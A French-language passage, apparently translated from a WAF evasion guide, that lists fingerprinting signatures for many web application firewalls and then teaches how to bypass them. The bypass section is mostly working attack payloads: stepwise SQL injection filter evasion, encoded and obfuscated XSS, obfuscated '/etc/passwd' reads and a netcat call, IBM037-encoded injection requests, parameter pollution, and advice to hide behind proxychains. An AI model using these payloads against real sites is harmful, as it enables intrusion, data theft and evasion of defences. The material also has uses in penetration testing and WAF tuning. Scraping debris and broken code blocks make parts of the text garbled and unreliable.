    • L'en-tête Server dans la réponse peut contenir :
      • Mot-clé SECKINGWAF.
      • Valeur du champ SECKING/{version}.
SecuPress
  • Détectabilité : Facile
  • Méthodologie de détection :
    • Le contenu de la réponse peut contenir :
      • SecuPress comme texte.
      • Block ID: Bad URL Contents comme texte.
    • Le code de réponse renvoyé est 503 Service Unavailable.
Secure Entry
  • Détectabilité : Facile
  • Méthodologie de détection :
    • L'en-tête Server contient la valeur définie sur Secure Entry Server.
SecureIIS
  • Détectabilité : Facile
  • Méthodologie de détection :
    • La page de réponse contient l'un des extraits de texte suivants :
      • Image affichant le logo beyondtrust.
      • Download SecureIIS Personal Edition
      • Référence à l'URL http://www.eeye.com/SecureIIS/.
      • Extrait de texte SecureIIS Error.
SecureSphere
  • Détectabilité : Difficile
  • Méthodologie de détection :
    • La page de réponse contient les extraits de texte suivants :
      • Erreur dans le texte h2.
      • Le titre contient uniquement le texte Error.
      • Texte Contact support for additional information..
SEnginx
  • Détectabilité : Facile
  • Méthodologie de détection :
    • La page de réponse bloquée contient le mot-clé SENGINX-ROBOT-MITIGATION.
ServerDefender VP
  • Détectabilité : Facile
  • Méthodologie de détection :
    • La réponse bloquée contient le champ d'en-tête X-Pint avec le mot-clé p80.
Shadow Daemon
  • Détectabilité : Difficile
  • Méthodologie de détection :
    • La page de réponse bloquée contient le mot-clé request forbidden by administrative rules..
ShieldSecurity
  • Détectabilité : Difficile
  • Méthodologie de détection :
    • La page de réponse bloquée contient :
      • Texte You were blocked by the Shield..
      • Extrait de texte Something in the URL, Form or Cookie data wasn't appropriate.
      • Warning: You have {number} remaining transgression(s) against this site.
      • Seriously stop repeating what you are doing or you will be locked out.
SiteGround
  • Détectabilité : Difficile
  • Méthodologie de détection :
    • La page de réponse bloquée contient
      The page you are trying to access is restricted due to a security rule comme extrait de texte.
SiteGuard (JP Secure)
  • Détectabilité : Difficile
  • Méthodologie de détection :
    • La page de réponse contient :
      • Extrait de texte Powered by SiteGuard.
      • Extrait de texte The server refuse to browse the page..
      • The URL may not be correct. Please confirm the value.
SiteLock TrueShield
  • Détectabilité : Facile
  • Méthodologie de détection :
    • Le code source de la page de réponse bloquée contient les éléments suivants :
      • Référence à l'URL www.sitelock.com.
      • Texte Sitelock is leader in Business Website Security Services..
      • Mot-clé sitelock-site-verification.
      • Image sitelock_shield_logo.
SonicWall
  • Détectabilité : Facile
  • Méthodologie de détection :
    • L'en-tête Server contient la valeur du mot-clé SonicWALL.
    • La page de réponse bloquée contient l'un des extraits de texte suivants :
      • Image affichant le logo Dell.
      • This request is blocked by the SonicWALL.
      • Extrait de texte Web Site Blocked.
      • nsa_banner comme mot-clé. :p
Sophos UTM
  • Détectabilité : Facile
  • Méthodologie de détection :
    • La page de réponse bloquée contient le mot-clé Powered by UTM Web Protection.
SquareSpace
  • Détectabilité : Difficile
  • Méthodologie de détection :
    • Le code de réponse renvoyé est 404 Not Found sur les requêtes malveillantes.
    • La page de réponse bloquée contient l'un des extraits de texte suivants :
      • Mot-clé BRICK-50.
      • Extrait de texte 404 Not Found.
SquidProxy IDS
  • Détectabilité : Facile
  • Méthodologie de détection :
    • L'en-tête Server contient la valeur du champ squid/{version}.
    • La page de réponse bloquée contient
      Access control configuration prevents your request from being allowed at this time..
StackPath
  • Détectabilité : Facile
  • Méthodologie de détection :
    • Contient une image affichant le logo StackPath.
    • La page de réponse bloquée contient
      You performed an action that triggered the service and blocked your request.
Stingray
  • Détectabilité : Difficile
  • Méthodologie de détection :
    • Le code de réponse bloquée renvoie 403 Forbidden ou 500 Internal Error.
    • Les en-têtes de réponse contiennent le nom du champ d'en-tête X-Mapping.
Sucuri CloudProxy
  • Détectabilité : Facile
  • Méthodologie de détection :
    • Les en-têtes de réponse peuvent contenir les mots-clés Sucuri ou Cloudproxy.
    • La page de réponse bloquée contient les extraits de texte suivants :
      • Texte Access Denied - Sucuri Website Firewall.
      • Référence à l'URL https://sucuri.net/privacy-policy.
      • Parfois l'e-mail [email protected].
      • Contient la mention de copyright ;copy {année} Sucuri Inc.
    • Les en-têtes de réponse contiennent l'en-tête X-Sucuri-ID avec les requêtes normales.
Synology Cloud
  • Détectabilité : Facile
  • Méthodologie de détection :
    • La page de réponse bloquée contient Copyright (c) 2019 Synology Inc. All rights reserved. comme texte.
Tencent Cloud
  • Détectabilité : Modérée
  • Méthodologie de détection :
    • Le code de réponse bloquée renvoie l'erreur 405 Method Not Allowed.
    • La page de réponse bloquée contient une référence à l'URL waf.tencent-cloud.com.
Teros
  • Détectabilité : Difficile
  • Méthodologie de détection :
    • Les en-têtes de réponse contiennent le champ cookie st8id.
TrafficShield
  • Détectabilité : Modérée
  • Méthodologie de détection :
    • L'en-tête Server peut contenir le mot-clé F5-TrafficShield.
    • La valeur ASINFO= peut être détectée dans les cookies de réponse.
TransIP
  • Détectabilité : Facile
  • Méthodologie de détection :
    • Les en-têtes de réponse contiennent l'en-tête unique X-TransIP-Backend.
    • Les en-têtes de réponse contiennent un autre en-tête X-TransIP-Balancer.
UCloud UEWaf
  • Détectabilité : Facile
  • Méthodologie de détection :
    • Le contenu de la réponse peut contenir :
      • Référence au répertoire inurl /uewaf_deny_pages/default/img/.
      • URL ucloud.cn.
    • Les en-têtes de réponse renvoyés ont l'en-tête Server défini sur uewaf/{version}.
URLMaster SecurityCheck
  • Détectabilité : Modérée
  • Méthodologie de détection :
    • Les en-têtes de réponse peuvent contenir :
      • Mot-clé UrlMaster.
      • Mot-clé UrlRewriteModule.
      • Mot-clé SecurityCheck.
    • Le code de réponse bloquée renvoyé est l'extrait de texte 400 Bad Request.
URLScan
  • Détectabilité : Modérée
  • Méthodologie de détection :
    • La page de réponse bloquée contient :
      • Extrait de texte Rejected-by-URLScan.
      • Server Erro in Application comme titre.
      • Module: IIS Web Core dans un tableau.
USP Secure Entry
  • Détectabilité : Modérée
  • Méthodologie de détection :
    • Les en-têtes de réponse contiennent la valeur du champ Secure Entry Server.
Varnish (OWASP)
  • Détectabilité : Facile
  • Méthodologie de détection :
    • Une requête malveillante renvoie l'erreur 404 Not Found.
    • La page de réponse contient :
      • Extrait de texte Request rejected by xVarnish-WAF.
Varnish CacheWall
  • Détectabilité : Facile
  • Méthodologie de détection :
    • La page de réponse contient :
      • Error 403 Naughty, not Nice! comme titre.
      • Varnish cache Server comme texte.
Viettel
  • Détectabilité : Facile
  • Méthodologie de détection :
    • La page de réponse contient :
      • La page de blocage a le titre défini sur Access denied · Viettel WAF.
      • Référence à l'URL https://cloudrity.com.vn/.
      • La page de réponse contient les mots-clés Viettel WAF system.
      • Informations de contact avec référence à l'URL https://cloudrity.com.vn/customer/#/contact.
VirusDie
  • Détectabilité : Facile
  • Méthodologie de détection :
    • La page de réponse contient :
      • Image http://cdn.virusdie.ru/splash/firewallstop.png.
      • Mention de copyright copy; Virusdie.ru

        .
      • Le titre de la page de réponse contient le mot-clé Virusdie.
      • Les métadonnées de la page contiennent le mot-clé name="FW_BLOCK".
WallArm
  • Détectabilité : Modérée
  • Méthodologie de détection :
    • Les en-têtes Server contiennent la valeur nginx-wallarm.
WatchGuard IPS
  • Détectabilité : Facile
  • Méthodologie de détection :
    • Les en-têtes Server peuvent contenir la valeur du champ WatchGuard.
    • La page de réponse bloquée contient :
      • Texte Request denied by WatchGuard Firewall.
      • WatchGuard Technologies Inc. en pied de page.
WebARX Security
  • Détectabilité : Facile
  • Méthodologie de détection :
    • Limité spécifiquement aux sites WordPress uniquement.
    • La page de réponse bloquée contient :
      • Texte This request has been blocked by WebARX Web Application Firewall.
      • Référence au répertoire /wp-content/plugins/webarx/ où il est installé.
WebKnight
  • Détectabilité : Facile
  • Méthodologie de détection :
    • Les en-têtes de réponse contiennent le mot-clé WebKnight.
    • La page de réponse bloquée contient :
      • Avertissement texte WebKnight Application Firewall Alert.
      • Extrait de texte AQTRONIX WebKnight.
    • Le code de réponse bloquée renvoyé est 999 No Hacking. :p
    • Le code de réponse bloquée renvoyé est aussi 404 Hack Not Found. :p
WebLand
  • Détectabilité : Facile
  • Méthodologie de détection :
    • L'en-tête Server contient le mot-clé Apache Protected By WebLand WAF.
WebRay
  • Détectabilité : Facile
  • Méthodologie de détection :
    • L'en-tête Server contient le mot-clé WebRay-WAF.
    • Les en-têtes de réponse peuvent avoir le champ DrivedBy avec la valeur RaySrv RayEng/{version}.
WebSEAL
  • Détectabilité : Facile
  • Méthodologie de détection :
    • L'en-tête Server contient le mot-clé WebSEAL.
    • La page de réponse bloquée contient :
      • Texte This is a WebSEAL error message template file.
      • Extrait de texte WebSEAL server received an invalid HTTP request.
WebTotem
  • Détectabilité : Facile
  • Méthodologie de détection :
    • La page de réponse bloquée contient The current request was blocked by WebTotem.
West263CDN
  • Détectabilité : Facile
  • Méthodologie de détection :
    • Les en-têtes de réponse contiennent le champ d'en-tête X-Cache avec la valeur WT263CDN.
Wordfence
  • Détectabilité : Facile
  • Méthodologie de détection :
    • Les en-têtes de réponse contiennent le mot-clé WebKnight.
    • La page de réponse bloquée contient :
      • Extrait de texte Generated by Wordfence.
      • Avertissement texte A potentially unsafe operation has been detected in your request to this site.
      • Avertissement texte Your access to this site has been limited.
      • Extrait de texte This response was generated by Wordfence.
WTS-WAF
  • Détectabilité : Facile
  • Méthodologie de détection :
    • Le titre de la page de réponse bloquée contient le mot-clé WTS-WAF.
    • L'en-tête Server contient wts comme valeur.
XLabs Security WAF
  • Détectabilité : Facile
  • Méthodologie de détection :
    • Les en-têtes de réponse contiennent le champ d'en-tête X-CDN avec la valeur XLabs Security.
Xuanwudun WAF
  • Détectabilité : Facile
  • Méthodologie de détection :
    • La page de réponse bloquée contient une référence à l'URL du site http://admin.dbappwaf.cn/index.php/Admin/ClientMisinform/.
Yunaq Chuangyu
  • Détectabilité : Modérée
  • Méthodologie de détection :
    • La page de réponse a une référence à :
      • URL 365cyd.com ou 365cyd.net.
      • Référence à la page d'aide à http://help.365cyd.com/cyd-error-help.html?code=403.
Yundun
  • Détectabilité : Facile
  • Méthodologie de détection :
    • L'en-tête Server contient YUNDUN comme valeur.
    • Le champ d'en-tête X-Cache contient YUNDUN comme valeur.
    • La page de réponse contient l'extrait de texte Blocked by YUNDUN Cloud WAF.
    • La page de réponse bloquée contient une référence à l'URL yundun.com/yd_http_error/.
Yunsuo
  • Détectabilité : Facile
  • Méthodologie de détection :
    • La page de réponse bloquée contient une référence de classe d'image à yunsuologo.
    • Les en-têtes de réponse contiennent le nom de champ yunsuo_session.
YxLink
  • Détectabilité : Facile
  • Méthodologie de détection :
    • La réponse peut avoir le champ cookie yx_ci_session.
    • La réponse peut avoir le champ cookie yx_language.
    • L'en-tête Server contient la valeur de champ Yxlink-WAF.
ZenEdge
  • Détectabilité : Facile
  • Méthodologie de détection :
    • La page de réponse bloquée contient une référence au répertoire /__zenedge/assets/.
    • L'en-tête Server contient le mot-clé ZENEDGE.
    • Les en-têtes de réponse bloquée peuvent contenir l'en-tête X-Zen-Fury.
ZScaler
  • Détectabilité : Facile
  • Méthodologie de détection :
    • L'en-tête Server a la valeur définie sur ZScaler.
    • La page de réponse bloquée contient :
      • Texte Access Denied: Accenture Policy.
      • Référence à l'URL https://policies.accenture.com.
      • Référence à l'image à https://login.zscloud.net/img_logo_new1.png.
      • Your organization has selected Zscaler to protect you from internet threats.
      • The Internet site you have attempted to access is prohibited. Accenture's webfilters indicate that the site likely contains content considered inappropriate.

Fuzzing/Force brute :

Méthode :

Exécuter un ensemble de payloads contre l'URL/point de terminaison. Quelques bonnes wordlists de fuzzing :

  • Wordlists spécifiquement pour le fuzzing
    • Seclists/Fuzzing.
    • Fuzz-DB/Attack
    • Other Payloads

Technique :

  • Chargez votre wordlist dans le fuzzer et commencez la force brute.
  • Enregistrez/consignez toutes les réponses des différents payloads fuzzés.
  • Utilisez des user-agents aléatoires, allant de Chrome Desktop au navigateur iPhone.
  • Si un blocage est détecté, augmentez la latence du fuzzing (ex. 2-4 secondes).
  • Utilisez toujours proxychains, car il y a de fortes chances que votre IP soit bloquée.

Inconvénients :

  • Cette méthode échoue souvent.
  • De nombreuses fois, votre IP sera bloquée (temporairement/définitivement).

Inversion d'expressions régulières :

Méthode :

  • Méthode la plus efficace pour contourner les WAF.
  • Certains WAF se basent sur la correspondance des payloads d'attaque avec les signatures de leurs bases de données.
  • Si le payload correspond à l'expression régulière, le WAF déclenche une alarme.

Techniques :

Détection/Contournement de liste noire

  • Dans cette méthode, nous essayons de reconnaître les règles étape par étape en observant les mots-clés qui sont sur liste noire.
  • L'idée est de deviner l'expression régulière et de concevoir les payloads suivants qui n'utilisent pas les mots-clés sur liste noire.

Cas : Injection SQL

• Étape 1 :

Mots-clés filtrés : and, or, union
Regex probable : preg_match('/(and|or|union)/i', $id)

  • Tentative bloquée : union select user, password from users
  • Injection contournée : 1 || (select user from users where user_id = 1) = 'admin'
• Étape 2 :

Mots-clés filtrés : and, or, union, where

  • Tentative bloquée : 1 || (select user from users where user_id = 1) = 'admin'
  • Injection contournée : 1 || (select user from users limit 1) = 'admin'
• Étape 3 :

Mots-clés filtrés : and, or, union, where, limit

  • Tentative bloquée : 1 || (select user from users limit 1) = 'admin'
  • Injection contournée : 1 || (select user from users group by user_id having user_id = 1) = 'admin'
• Étape 4 :

Mots-clés filtrés : and, or, union, where, limit, group by

  • Tentative bloquée : 1 || (select user from users group by user_id having user_id = 1) = 'admin'
  • Injection contournée : 1 || (select substr(group_concat(user_id),1,1) user from users ) = 1
• Étape 5 :

Mots-clés filtrés : and, or, union, where, limit, group by, select

  • Tentative bloquée : 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1
  • Injection contournée : 1 || 1 = 1 into outfile 'result.txt'
  • Injection contournée : 1 || substr(user,1,1) = 'a'
• Étape 6 :

Mots-clés filtrés : and, or, union, where, limit, group by, select, '

  • Tentative bloquée : 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1
  • Injection contournée : 1 || user_id is not null
  • Injection contournée : 1 || substr(user,1,1) = 0x61
  • Injection contournée : 1 || substr(user,1,1) = unhex(61)
• Étape 7 :

Mots-clés filtrés : and, or, union, where, limit, group by, select, ', hex

  • Tentative bloquée : 1 || substr(user,1,1) = unhex(61)
  • Injection contournée : 1 || substr(user,1,1) = lower(conv(11,10,36))
• Étape 8 :

Mots-clés filtrés : and, or, union, where, limit, group by, select, ', hex, substr

  • Tentative bloquée : 1 || substr(user,1,1) = lower(conv(11,10,36))
  • Injection contournée : 1 || lpad(user,7,1)
• Étape 9 :

Mots-clés filtrés : and, or, union, where, limit, group by, select, ', hex, substr, white space

  • Tentative bloquée : 1 || lpad(user,7,1)
  • Injection contournée : 1%0b||%0blpad(user,7,1)

Obfuscation :

Méthode :

  • Encoder le payload dans différents encodages (approche par essais-erreurs).
  • Vous pouvez encoder l'ensemble du payload ou certaines parties et tester de manière récursive.

Techniques :

1. Bascule de casse

  • Certains WAF mal développés filtrent sélectivement des cas spécifiques.
  • Nous pouvons combiner des caractères majuscules et minuscules pour développer des payloads efficaces.

Standard : <script>alert()</script>
Contourné : <ScRipT>alert()</sCRipT>

Standard : SELECT * FROM all_tables WHERE OWNER = 'DATABASE_NAME'
Contourné : sELecT * FrOm all_tables whERe OWNER = 'DATABASE_NAME'

2. Encodage URL

  • Encodez les payloads normaux avec l'encodage %/encodage URL.
  • Peut être fait avec des outils en ligne comme celui-ci.
  • Burp inclut un encodeur/décodeur intégré.

Bloqué : <svG/x=">"/oNloaD=confirm()//
Contourné : %3CsvG%2Fx%3D%22%3E%22%2FoNloaD%3Dconfirm%28%29%2F%2F

Bloqué : uNIoN(sEleCT 1,2,3,4,5,6,7,8,9,10,11,12)
Contourné : uNIoN%28sEleCT+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%29

3. Normalisation Unicode

  • Les caractères ASCII en encodage Unicode offrent d'excellentes variantes pour contourner.
  • Vous pouvez encoder la totalité ou une partie du payload pour obtenir des résultats.

Standard : <marquee onstart=prompt()>
Obscurci : <marquee onstart=\u0070r\u06f\u006dpt()>

Bloqué : /?redir=http://google.com
Contourné : /?redir=http://google。com (alternative Unicode)

Bloqué : <marquee loop=1 onfinish=alert()>x
Contourné : <marquee loop=1 onfinish=alert︵1)>x (alternative Unicode)

ASTUCE : Jetez un œil à ce rapport et celui-ci sur HackerOne. :)

Standard : ../../etc/passwd
Obscurci : %C0AE%C0AE%C0AF%C0AE%C0AE%C0AFetc%C0AFpasswd

4. Représentation HTML

  • Souvent, les applications web encodent les caractères spéciaux en encodage HTML et les rendent en conséquence.
  • Cela nous mène à des cas de contournement de base avec l'encodage HTML (numérique/générique).

Standard : ">
Encodé : &quot;&gt;&lt;img src=x onerror=confirm&lpar;&rpar;&gt; (forme générale)
Encodé : &#34;&#62;&#60;img src=x onerror=confirm&#40;&#41;&#62; (référence numérique)

5. Encodage mixte

  • Parfois, les règles des WAF ont tendance à filtrer un type spécifique d'encodage.
  • Ce type de filtres peut être contourné par des payloads à encodage mixte.
  • Les tabulations et les nouvelles lignes ajoutent encore à l'obscurcissement.

Obscurci :``` XSS

root@kitploit:~
__6. Utilisation des commentaires__
- Les commentaires obscurcissent les vecteurs de charge utile standard.
- Différentes charges utiles ont différentes méthodes d'obscurcissement.

__Bloqué__ : `<script>alert()</script>`  
__Contourné__ : `<!--><script>alert/**/()/**/</script>`

__Bloqué__ : `/?id=1+union+select+1,2,3--`  
__Contourné__ : `/?id=1+un/**/ion+sel/**/ect+1,2,3--`

__7. Double encodage__
- Souvent, les filtres WAF ont tendance à encoder les caractères pour empêcher les attaques.
- Cependant, les filtres mal développés (pas de filtres récursifs) peuvent être contournés par un double encodage.

__Standard__ : `http://victim/cgi/../../winnt/system32/cmd.exe?/c+dir+c:\`  
__Obscurci__ : `http://victim/cgi/%252E%252E%252F%252E%252E%252Fwinnt/system32/cmd.exe?/c+dir+c:\`

__Standard__ : `<script>alert()</script>`  
__Obscurci__ : `%253Cscript%253Ealert()%253C%252Fscript%253E`

__8. Obscurcissement par caractères génériques__
- Les motifs de globbing sont utilisés par divers utilitaires en ligne de commande pour travailler avec plusieurs fichiers.
- Nous pouvons les modifier pour exécuter des commandes système.
- Spécifique aux vulnérabilités d'exécution de code à distance sur les systèmes Linux.

__Standard__ : `/bin/cat /etc/passwd`  
__Obscurci__ : `/???/??t /???/??ss??`  
Caractères utilisés : `/ ? t s`

__Standard__ : `/bin/nc 127.0.0.1 1337`  
__Obscurci__ : `/???/n? 2130706433 1337`  
Caractères utilisés : `/ ? n [0-9]`

__9. Génération dynamique de charges utiles__
- Différents langages de programmation ont des syntaxes et des motifs de concaténation différents.
- Cela nous permet de générer efficacement des charges utiles qui peuvent contourner de nombreux filtres et règles.

__Standard__ : `<script>alert()</script>`  
__Obscurci__ : `<script>eval('al'+'er'+'t()')</script>`

__Standard__ : `/bin/cat /etc/passwd`  
__Obscurci__ : `/bi'n'''/c''at' /e'tc'/pa''ss'wd`
> Bash permet la concaténation de chemins pour l'exécution.

__Standard__ : ``  
__Obscurci__:```

13. Briseurs de jetons (Token Breakers)

  • Les attaques sur les tokenizers tentent de briser la logique de découpage d'une requête en tokens à l'aide de briseurs de jetons.

  • Les briseurs de jetons sont des symboles qui permettent d'affecter la correspondance entre un élément d'une chaîne et un certain token, et ainsi de contourner la recherche par signature.

  • Cependant, la requête doit toujours rester valide lors de l'utilisation de briseurs de jetons.

  • Cas : Token inconnu pour le tokenizer

    • Payload : ?id=‘-sqlite_version() UNION SELECT password FROM users --
  • Cas : Contexte inconnu pour l'analyseur syntaxique (remarquez la parenthèse non contextualisée)

    • Payload 1 : ?id=123);DROP TABLE users --
    • Payload 2 : ?id=1337) INTO OUTFILE ‘xxx’ --

ASTUCE : Plus de payloads peuvent être créés via cette antisèche.

14. Obfuscation dans d'autres formats

  • De nombreuses applications web prennent en charge différents types d'encodage et peuvent interpréter cet encodage (voir ci-dessous).
  • L'obfuscation de notre payload dans un format non pris en charge par le WAF mais que le serveur peut interpréter permet de faire passer notre payload en contrebande.

Cas : IIS

  • IIS6, 7.5, 8 et 10 (ASPX v4.x) permettent des interprétations de caractères IBM037.
  • Nous pouvons encoder notre payload et envoyer les paramètres encodés avec la requête.

Requête originale :``` POST /sample.aspx?id1=something HTTP/1.1 HOST: victim.com Content-Type: application/x-www-form-urlencoded; charset=utf-8 Content-Length: 41

id2='union all select * from users--

root@kitploit:~
Requête obfusquée + Encodage URL :```
POST /sample.aspx?%89%84%F1=%A2%96%94%85%A3%88%89%95%87 HTTP/1.1
HOST: victim.com
Content-Type: application/x-www-form-urlencoded; charset=ibm037
Content-Length: 115

%89%84%F2=%7D%A4%95%89%96%95%40%81%93%93%40%A2%85%93%85%83%A3%40%5C%40%86%99%96%94%40%A4%A2%85%99%A2%60%60

Le tableau suivant montre la prise en charge de différents codages de caractères sur les systèmes testés (lorsque les messages peuvent être obscurcis en les utilisant) :

ASTUCE : Vous pouvez utiliser ce petit script python pour convertir vos charges utiles et paramètres vers les codages souhaités.

CibleCodagesNotes
Nginx, uWSGI-Django-Python3IBM037, IBM500, cp875, IBM1026, IBM273
  • La chaîne de requête et le corps doivent être encodés.
  • Paramètres décodés URL dans la chaîne de requête et le corps.
  • Le signe égal et l'esperluette doivent également être encodés (pas de décodage URL).
Nginx, uWSGI-Django-Python2IBM037, IBM500, cp875, IBM1026, utf-16, utf-32, utf-32BE, IBM424
  • La chaîne de requête et le corps doivent être encodés.
  • Paramètres décodés URL dans la chaîne de requête et le corps ensuite.
  • Le signe égal et l'esperluette ne doivent être encodés d'aucune manière.
Apache-TOMCAT8-JVM1.8-JSPIBM037, IBM500, IBM870, cp875, IBM1026, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM290, IBM297, IBM420, IBM424, IBM-Thai, IBM871, cp1025
  • Chaîne de requête dans son format d'origine (peut être encodée URL comme d'habitude).
  • Le corps peut être envoyé avec ou sans encodage URL.
  • Le signe égal et l'esperluette ne doivent être encodés d'aucune manière.
Apache-TOMCAT7-JVM1.6-JSPIBM037, IBM500, IBM870, cp875, IBM1026, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM290, IBM297, IBM420, IBM424, IBM-Thai, IBM871, cp1025
  • Chaîne de requête dans son format d'origine (peut être encodée URL comme d'habitude).
  • Le corps peut être envoyé avec ou sans encodage URL.
  • Le signe égal et l'esperluette ne doivent être encodés d'aucune manière.
IIS6, 7.5, 8, 10 -ASPX (v4.x)IBM037, IBM500, IBM870, cp875, IBM1026, IBM01047, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, unicodeFFFE, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM290, IBM297, IBM420,IBM423, IBM424, x-EBCDIC-KoreanExtended, IBM-Thai, IBM871, IBM880, IBM905, IBM00924, cp1025

Pollution des paramètres HTTP

Méthode :

  • Cette méthode d'attaque repose sur la façon dont un serveur interprète les paramètres ayant le même nom.
  • Les possibilités de contournement sont les suivantes :
    • Le serveur utilise le dernier paramètre reçu, et le WAF ne vérifie que le premier.
    • Le serveur fusionne les valeurs des paramètres similaires, et le WAF les vérifie séparément.

Technique :

  • L'idée est d'énumérer comment les paramètres sont interprétés par le serveur.
  • Dans ce cas, on peut passer la charge utile à un paramètre qui n'est pas inspecté par le WAF.
  • Distribuer une charge utile entre plusieurs paramètres qui peuvent ensuite être concaténés par le serveur est également utile.

Voici une comparaison de différents serveurs et de leurs interprétations respectives :

EnvironnementInterprétation des paramètresExemple
ASP/IISConcaténation par virgulepar1=val1,val2
JSP, Servlet/Apache TomcatLe premier paramètre est retenupar1=val1
ASP.NET/IISConcaténation par virgulepar1=val1,val2
PHP/ZeusLe dernier paramètre est retenupar1=val2
PHP/ApacheLe dernier paramètre est retenupar1=val2
JSP, Servlet/JettyLe premier paramètre est retenupar1=val1
IBM Lotus DominoLe premier paramètre est retenupar1=val1
IBM HTTP ServerLe dernier paramètre est retenupar1=val2
mod_perl, libapeq2/ApacheLe premier paramètre est retenupar1=val1
Oracle Application Server 10GLe premier paramètre est retenupar1=val1
Perl CGI/ApacheLe premier paramètre est retenupar1=val1
Python/ZopeLe premier paramètre est retenupar1=val1
IceWarpUn tableau est retourné['val1','val2']
AXIS 2400Le dernier paramètre est retenupar1=val2
DBManConcaténation par deux tildespar1=val1~~val2
mod-wsgi (Python)/Apache

Fragmentation des paramètres HTTP

  • HPF repose sur le principe selon lequel le serveur fusionne la valeur transmise via les paramètres.
  • Nous pouvons diviser la charge utile en différents composants, puis passer les valeurs via les paramètres.

Exemple de charge utile : 1001 RLIKE (-(-1)) UNION SELECT 1 FROM CREDIT_CARDS
Exemple d'URL de requête : http://test.com/url?a=1001+RLIKE&b=(-(-1))+UNION&c=SELECT+1&d=FROM+CREDIT_CARDS

ASTUCE : Un exemple concret de contournements pouvant être réalisés avec cette méthode est disponible ici.

Bugs des navigateurs :

Bugs de jeu de caractères :

  • Nous pouvons essayer de modifier l'en-tête de jeu de caractères pour un Unicode plus élevé (ex. UTF-32) et tester des charges utiles.
  • Lorsque le site décode la chaîne, la charge utile est déclenchée.

Exemple de requête :

root@kitploit:~
GET /page.php?p=∀㸀㰀script㸀alert(1)㰀/script㸀 HTTP/1.1
Host: site.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0
Accept-Charset:utf-32; q=0.5
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate

Lorsque le site se charge, il sera encodé dans le codage UTF-32 que nous avons défini, et comme l'encodage de sortie de la page est UTF-8, il sera rendu sous la forme : "<script>alert (1) </script>" ce qui déclenchera une XSS.

Charge utile encodée URL finale :``` %E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80

root@kitploit:~
#### Null Bytes:
- Les null bytes sont couramment utilisés comme terminaison de chaîne.
- Cela peut nous aider à contourner de nombreux filtres d'applications web s'ils ne filtrent pas les null bytes.

Exemples de payloads :```
<scri%00pt>alert(1);</scri%00pt>
<scri\x00pt>alert(1);</scri%00pt>
<s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t>

Standard: <a href="javascript:alert()">
Obfusqué: <a href="ja0x09vas0x0A0x0Dcript:alert(1)">clickme</a>
Variante: <a 0x00 href="javascript:alert(1)">clickme</a>

Bugs d'analyse :

  • La RFC indique que les NodeNames ne peuvent pas commencer par un espace blanc.
  • Mais nous pouvons utiliser des caractères spéciaux comme %, //, !, ?, etc.

Exemples :

  • <// style=x:expression\28write(1)\29> - Fonctionne jusqu'à IE7 (Source)
  • <!--[if]><script>alert(1)</script --> - Fonctionne jusqu'à IE9 (Référence)
  • <?xml-stylesheet type="text/css"?><root style="x:expression(write(1))"/> - Fonctionne dans IE7 (Référence)
  • <%div%20style=xss:expression(prompt(1))> - Fonctionne jusqu'à IE7

Séparateurs Unicode :

  • Chaque navigateur a son propre jeu de caractères de séparation.
  • Nous pouvons fuzzer la plage de caractères de 0x00 à 0xFF et obtenir l'ensemble des séparateurs pour chaque navigateur.
  • Nous pouvons utiliser ces séparateurs aux endroits où un espace est requis.

Voici une liste compilée de séparateurs par @Masato Kinugawa :

  • IExplorer : 0x09, 0x0B, 0x0C, 0x20, 0x3B
  • Chrome : 0x09, 0x20, 0x28, 0x2C, 0x3B
  • Safari : 0x2C, 0x3B
  • FireFox : 0x09, 0x20, 0x28, 0x2C, 0x3B
  • Opera : 0x09, 0x20, 0x2C, 0x3B
  • Android : 0x09, 0x20, 0x28, 0x2C, 0x3B

Un exemple de payload exotique :``` <a/onmouseover[\x0b]=location='\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x28\x30\x29\x3B'>pwn3d

root@kitploit:~
### Utilisation de structures syntaxiques équivalentes atypiques
- Cette méthode vise à trouver un moyen d'exploitation non pris en compte par les développeurs du WAF.
- Certains cas d'utilisation peuvent être modifiés jusqu'à des niveaux critiques où le WAF ne peut plus du tout détecter les charges utiles.
- Cette charge utile est acceptée et exécutée par le serveur après être passée par le pare-feu.

Quelques mots-clés courants négligés par les développeurs de WAF :
- Fonctions JavaScript :
    - `window`
    - `parent`
    - `this`
    - `self`
- Attributs de balise :
    - `onwheel`
    - `ontoggle`
    - `onfilterchange`
    - `onbeforescriptexecute`
    - `ondragstart`
    - `onauxclick`
    - `onpointerover`
    - `srcdoc`
- Opérateurs SQL
    - `lpad`
    - `field`
    - `bit_count`

Exemples de charges utiles :  
- __Cas :__ XSS```
<script>window['alert'](https://github.com/0xinfection/awesome-waf/blob/HEAD/0)</script>
<script>parent['alert'](https://github.com/0xinfection/awesome-waf/blob/HEAD/1)</script>
<script>self['alert'](https://github.com/0xinfection/awesome-waf/blob/HEAD/2)</script>

Cas: SQLi``` SELECT if(LPAD(' ',4,version())='5.7',sleep(5),null); 1%0b||%0bLPAD(USER,7,1)

root@kitploit:~
De nombreuses alternatives au JavaScript original peuvent être utilisées, à savoir :
- [JSFuck](http://www.jsfuck.com/)
- [JJEncode](http://utf-8.jp/public/jjencode.html)
- [XChars.JS](https://syllab.fr/projets/experiments/xcharsjs/5chars.pipeline.html)
